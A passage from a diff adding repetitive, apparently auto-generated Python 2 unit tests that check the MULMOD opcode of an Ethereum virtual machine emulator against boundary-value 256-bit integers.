+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_676(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155540074269713322909566543097236623632L])
+
+    def test_MULMOD_677(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_678(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_MULMOD_679(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155540236528990152049142958380408705536L])
+
+    def test_MULMOD_680(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2271629875608991699168110571421456L])
+
+    def test_MULMOD_681(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2596148429267413814265248164609792L])
+
+    def test_MULMOD_682(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [5192296858534827628530496329219584L])
+
+    def test_MULMOD_683(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7788445287802241442795744493829376L])
+
+    def test_MULMOD_684(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_685(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4857637100074584289907403537776625L])
+
+    def test_MULMOD_686(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_687(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_MULMOD_688(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2271629875608991699168110571421456L])
+
+    def test_MULMOD_689(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [304236144054775344589584921002209L])
+
+    def test_MULMOD_690(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288368L])
+
+    def test_MULMOD_691(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576736L])
+
+    def test_MULMOD_692(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [486777830487640090174734030865104L])
+
+    def test_MULMOD_693(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_694(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [5192296858534827628530496329220080L])
+
+    def test_MULMOD_695(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_696(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_697(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2596148429267413814265248164609792L])
+
+    def test_MULMOD_698(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288368L])
+
+    def test_MULMOD_699(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_700(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_701(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_702(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_703(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10384593717069655257060992658440160L])
+
+    def test_MULMOD_704(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_705(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_706(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
